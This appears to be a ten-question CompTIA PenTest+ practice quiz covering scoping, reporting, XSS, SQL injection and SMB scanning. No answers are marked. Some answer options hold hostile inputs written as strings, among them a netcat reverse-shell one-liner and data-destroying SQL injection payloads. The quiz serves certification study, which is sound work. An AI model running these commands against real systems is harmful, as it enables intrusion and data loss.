SkillTestPro | CompTIA PenTest+ Practice Test

CompTIA PenTest+ Practice Test

1 / 10

A penetration test must comply with PCI DSS requirements. Which scoping consideration is critical?

Employee training records

Physical office layout

Cardholder Data Environment (CDE) boundaries

Network latency metrics

Server uptime statistics

2 / 10

You’re reviewing a Bash script used in a pen test. Which command identifies a potential command injection flaw?

eval "$input"

echo $USER

ls -la

cat /etc/passwd

chmod +x script.sh

3 / 10

A client requests a report tailored for non-technical executives. Which section should you prioritize?

Technical Findings

Attack Narrative

Tool Output Logs

Raw Scan Results

Executive Summary

4 / 10

You’re tasked with exploiting a web app via cross-site scripting (XSS). Which payload tests for reflected XSS?

alert('test')

' OR 1=1 --

../../etc/passwd

nc -e /bin/sh 192.168.1.10 4444

whoami > output.txt

5 / 10

A scan reveals an open port 445 on a Windows host. Which command confirms if SMB is exploitable?

netstat -an | find "445"

dig @192.168.1.10 445

nc -zv 192.168.1.10 445

whoami /priv

nmap -p 445 --script smb-vuln-ms17-010 192.168.1.10

6 / 10

You need to analyze a Python script for potential vulnerabilities. Which tool identifies insecure coding practices?

Burp Suite

John the Ripper

Metasploit

Bandit

Wireshark

7 / 10

After a penetration test, you identify a critical vulnerability. Which report section should detail steps to fix it?

Remediation Recommendations

Methodology

Findings Summary

Scope Details

8 / 10

A web server is vulnerable to SQL injection. Which payload tests for this without modifying data?

' OR 1=1 --

DROP TABLE users; --

' UNION SELECT * FROM users --

DELETE FROM users WHERE id=1; --

' AND 1=0 --

9 / 10

You’re conducting passive reconnaissance on a target. Which tool retrieves historical DNS records without alerting the target?

TheHarvester

Nmap

dnsdumpster

dig

Netcat

10 / 10

A client requires a penetration test but prohibits testing during business hours. Which document should you update to reflect this constraint?

Non-Disclosure Agreement (NDA)

Statement of Work (SoW)

Master Service Agreement (MSA)

Rules of Engagement (RoE)

Incident Response Plan

Your score is

The average score is 0%